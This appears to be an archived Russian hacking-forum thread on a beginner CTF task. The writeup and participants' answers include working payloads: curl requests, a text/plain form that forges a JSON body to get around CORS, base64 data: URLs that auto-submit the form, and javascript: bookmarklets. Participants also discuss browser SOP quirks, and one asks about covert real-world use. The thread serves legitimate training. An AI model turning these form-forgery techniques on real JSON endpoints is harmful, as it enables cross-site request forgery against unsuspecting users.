PDA

Просмотр полной версии : Task #13


dooble
13.02.2021, 11:54
Идея заданий родилась в закрытых разделах, но похоже и в паблике есть к этому некоторый интерес.

Правила понятные, механизм отладили, можно пускать это дело на самотек.

Хотя остается проблема "первых двух ступенек", т.е. нужны простые задания, которые можно выполнить с начальными навыками на форуме.

А вот их приготовить замеетно сложнее, чем хардкорные, как ни странно.

На начальном этапе изюминки почти неразличимы на фоне общих трудностей самого процесса познания.

Прокачавшись, трудно заставить себя постить простенькие вещи, вроде как не твой уровень.

Пробую этот пробел заполнять, и вот очередная попытка:

посмотрите аттач к заданию, в нем html страничка, которая пытается получить флаг, правда неудачно.

Есть простые способы получить этот флаг, поэтому сам флаг не интересует и приниматься будут не все способы, а только некоторые.

А именно:

- нельзя использовать прокладки (дополнительные скрипты, сайты, прокси)

- решение должно уместиться в строке браузера

- вызов должен быть непосредственно на task.antichat.com:10013

- проверять решение буду в браузерах Firefox и Chrome

Задание:

Таргет: http://task.antichat.com:10013

Найти и прочитать флаг.

Ответы присылайте в ПМ форума, интересует не сам флаг, а прохождение.

Срок:

две недели.

Правила остаются прежними:

В теме не флудим, подсказки разрешены только от ТС.

Прошли:

ii445888 (https://antichat.live/members/350514/)

Baskin-Robbins (https://antichat.live/members/326623/)- нашел три способа решить задание!

Hulkus (https://antichat.live/members/333436/) - особенность в Firefox

Go0o$E (https://antichat.live/members/21824/)

Прохождения:

/threads/482941/#post-4448252 (https://antichat.live/threads/482941/)

dooble
14.02.2021, 11:21
Картинка про CORS - обыкновенная подсказка.

dooble
15.02.2021, 11:43
Задание предназначено в первую очередь для начинающих и указатель на CORS нужен для сокращения времени поиска направления решения.

Смотрим, там точно есть способ, которым решается задание, останется потыкать в реализацию.

dooble
16.02.2021, 08:40
ii445888 (https://antichat.live/members/350514/)на подходе, практически зарешал, осталось оформить правильно.

Ну и вот простой способ достать флаг,

эмулируем запрос, который делается в приаттаченном файле


curl -H "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013

Только этот результат нужно получить в браузере.

dooble
16.02.2021, 11:59
Baskin-Robbins (https://antichat.live/members/326623/) нашел альтернативное решение, срабатывает в Firefox.

dooble
17.02.2021, 11:09
Baskin-Robbins нашел не просто решение таска, похоже он наковырял багу в Firefox.

И следующий хинт:

про адресную строку может быть не очень понятно, что решение должно уместиться в ней.

Просто вспомните, браузеры поддерживают не только http:// протокол, но и множество других, в некоторых будет удобно набрать решение.

dooble
18.02.2021, 08:47
А вот интересно, проверяет ли сервер заголовок "Content-Type: application/json"?

Смотрим:


curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013

Флаг отдается!

Упс, заголовок не проверяется и мы можем использовать способ отправить запрос, когда CORS игнорируется.

dooble
19.02.2021, 15:29
"Простой запрос" может быть сделан через , без каких-то специальных методов.

Но формы не предназначены для отправки json-запросов.

- заголовок "Content-Type: application/json" не разрешен

- данные передаются в другом формате.

Но с заголовками мы вроде разобрались.

А данные как передать в json-формате?

Или все-таки можно?

dooble
20.02.2021, 10:50
Наверное последнее, чем можно еще помочь:

если трудно набрать решение в адресной строке - приму html код, который выведет флаг на странице.

dooble
25.02.2021, 09:51
До закрытия таска осталось немного времени.

Тем, кто попал в таблицу решивших задание, просьба отписать в топике - законное право победителя, ну и просто для поднятия конуса .

dooble
27.02.2021, 15:48
Задание закрыто.



Прохождение:

Смотрим приаттаченный скрипт, в нем делается запрос на адрес http://task.antichat.com:10013 и ответ выводится на страницу.

Собственно - это вполне рабочий вариант, когда файл помещен на сайт задания, для проверки можно открыть его по адресу http://task.antichat.com:10013/task13.html.

Но когда выполняем его с другого хоста, в т.ч. и с localhost, браузер блочит ответ, если посмотреть в девелоперской панели:


Запрос из постороннего источника заблокирован: Политика одного источника запрещает чтение удаленного ресурса на http://task.antichat.com:10013/. (Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»).

Картинка в задании говорит, что самое время вспомнить про CORS, или почитать типа https://learn.javascript.ru/fetch-crossorigin.

Начинаем исследовать, curl равнодушен к SOP, поэтому потыкаем таргет, эмулируя запрос из файла задания:


curl -iH "Content-Type: application/json" -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013

флаг получен, цель понятна, нужно выполнить запрос в браузере.

Но браузер будет упорно сопротивляться.

Сервер с заданием не отдает заголовки для кросс-доменных запросов, облом, браузеры давно уже имеют защиту от таких попыток.

Можно поискать какой-нибудь зиродейчик, можно попробовать залиться, но легко не будет, не простое задание получится.

Поэтому ищем чего-то другое.

Вот тут пора обратить внимание, что html-формы (как и curl) - "можно отправлять куда угодно", это древний механизм, созданный задолго до появления всяких сетевых политик и он их просто не замечает.

Это хорошо, но есть пара проблем:

- формы не умеют отправлять заголовок "Content-Type: application/json"

- не умеют отправлять данные в формате json, а другие форматы сервер с заданием не принимает.

Пробуем заточить под наши нужды.

Проверяем, обязателен ли заголовок "Content-Type: application/json"


curl -d "{\"operation\": \"GetFlag\"}" http://task.antichat.com:10013

флаг отдается, значит заголовок не обязателен, ковыряем json-строку.

Надо сформатировать отправку данных так, чтобы она стала валидной json-строкой, в которой будет кусок "operation":"GetFlag".

Например:








На сервер уйдет пакет


POST / HTTP/1.1
Host: task.antichat.com:10013
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: text/plain
Content-Length: 38
Connection: close

{"operation":"GetFlag","(.)(.)":"="}

Видим флаг.

Теперь по поводу решения в адресной строке браузера - вообще не проблема, просто штатное использование протокола data:URL

data:text/html, и дальше наш html-текст копипастом.

Часто используют base64 кодирование

берем








енкодим в base64


PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1swXS5zdWJtaX QoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBl PSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly90YXNrLmFudG ljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxpbnB1dCB0eXBl PSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIjoiR2V0RmxhZy IsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAgICA8L2Zvcm0+ DQo8L2JvZHk+DQo=

знаки равенства в конце base64-строки можно отбросить


data:text/html;base64,PGJvZHkgb25sb2FkPSdkb2N1bWVudC5mb3Jtc1 swXS5zdWJtaXQoKSc+DQogICAgPGZvcm0gbWV0aG9kPSdQT1NU JyBlbmN0eXBlPSd0ZXh0L3BsYWluJyBhY3Rpb249Imh0dHA6Ly 90YXNrLmFudGljaGF0LmNvbToxMDAxMyI+DQogICAgICAgIDxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9J3sib3BlcmF0aW9uIj oiR2V0RmxhZyIsIiguKSguKSI6IicgdmFsdWU9JyJ9Jz4NCiAg ICA8L2Zvcm0+DQo8L2JvZHk+DQo

Вставляем в адресную строку - видим флаг.

Прохождения участников:



.SpoilerTarget" type="button">Spoiler: Прохождения

↑ (https://antichat.live)

[/B][/B][/B][/B][/B][/B][/B][/B][/B]
[B][B][B][B][B][B][B][B][B]







↑ (https://antichat.live)
Вот так?

data:text/html,document.getElementById("dd").submit()





↑ (https://antichat.live)
Привет, а решение через букмарклеты подходит?
Типо сохраняем любую страницу в закладки, например с именем 111, редактируем в настройках URL
на такой

javascript:fetch('http://task.antichat.com:10013', { method: 'POST',body: JSON.stringify({'operation': 'GetFlag'})}).then(r=>r.text()).then(d=>alert(d));

открываем
http://task.antichat.com:10013
щелкаем по закладке 111
в алерте наш флаг, в огнелисе работает





.SpoilerTarget" type="button">Spoiler: Прохождения


↑ (https://antichat.live)
С закладками я погуглил и так понял что не бага, там вроде даже на вики
писали что из закладок выполняемый код получает доступ к странице.
Раньше из js можно было добавлять в браузер свои закладки, сейчас убрали
эту фичу, хотя саму возможность выполнения оставили.
Я думаю что все же нет, не бага.
Но бага есть, другая, хотя для использования нужны другие баги.
ФФ может выводить инфу в обход SOP для "простых запросов" без
хидера Access-Control-Allow-Origin. Суть в том что отправив запрос,
не важно через XMLHttpRequest или fetch во вкладке Network мы можем
увидеть ответ. Я посчитал сначало что фича firefox'a но работает через раз,
рандомно может вернуть ответ, а может нет. Проблема в том что js его
не видит, т.е ответ видит только пользователь. А допустим извернуться и попытаться
заскринить мы не можем, так как из js не можем панелью разработчика управлять
в браузере. К слову на опера и хром не получилось так, не вывели они инфу,
так что бага, но использовать ее как есть нельзя, нужно что-то еще.
Я думал ты таск закроешь и я напишу про эту фичу(с игнорированием SOP),
так как сам не могу сейчас ее докрутить, а про закладки надо посмотреть доки,
не думаю все же что бага.




↑ (https://antichat.live)
https://d.radikal.ru/d16/2102/97/fdebd3e9cda9.png




↑ (https://antichat.live)
Решение на вывод Chrome/Firefox

data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vdGFzay5hbn RpY2hhdC5jb206MTAwMTMvIiBtZXRob2Q9IlBPU1QiIGVuY3R5 cGU9InRleHQvcGxhaW4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG 5hbWU9IiYjMTIzOyZxdW90O29wZXJhdGlvbiZxdW90OyYjNTg7 JnF1b3Q7R2V0RmxhZyZxdW90OyYjNDQ7JnF1b3Q7Z2V0JnF1b3 Q7JiM1ODsmcXVvdDsiIHZhbHVlPSJmbGFnJnF1b3Q7JiMxMjU7 JiMxMzsmIzEwOyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YW x1ZT0iU3VibWl0IHJlcXVlc3QiIC8+PC9mb3JtPjxzY3JpcHQ+ ZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk7PC9zY3JpcHQ+Cg



[/quote]

Baskin-Robbins
27.02.2021, 15:59
Вариант для Chrome.

Открываем task.antichat.com:10013 в url вписываем:


javascript:data = {'operation': 'GetFlag'};fetch('http://task.antichat.com:10013', {method: 'POST',body: JSON.stringify(data),}).then(r=>r.text()).then(d=>alert(d));

К слову о вкладке network в firefox.

Подобное поведение было замечено не на всех Gecko браузерах, такое же поведение

присутсвовало в waterfox, но не было замечено в comodo icedragon и Pale Moon.

Также подобное можно увидеть на ныне заброшеном проекте orbitum(Blink), где в отличии

от огнелиса я наблюдал 100% вывод. Это наводит на мысль, что возможно эта фича

присутсвовала и в старых версиях хрома.

Ну и раз затронул тему "маленьких" браузеров отмечу, что при запросе из data://

через fetch или XMLHttpRequest в большинстве браузеров Origin будет null, но

браузер SeaMonkey (https://ru.wikipedia.org/wiki/SeaMonkey) унаследует его из текущей вкладки. Поэтому решение таска

возможно схожим с javascript:... образом для chrome, но @dooble (https://antichat.live/members/295866/) его бы не засчитал:


data:text/html,data = {'operation': 'GetFlag'};var url = 'http://task.antichat.com:10013';var xhr = new XMLHttpRequest;xhr.open('POST',url,false);xhr.send (JSON.stringify(data));alert(xhr.responseText);

neur0funk
02.03.2021, 16:14
А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video

Baskin-Robbins
03.03.2021, 07:45
↑ (https://antichat.live/posts/4448747/)
А в боевых условиях как это можно использовать? Я искал способ который позволял бы сделать это скрытно. В старых версиях хрома CORS можно было обойти через audio и video


Лично я, на текущий момент, не вижу вектора именно скрытого использования.

Хотя, надо подумать.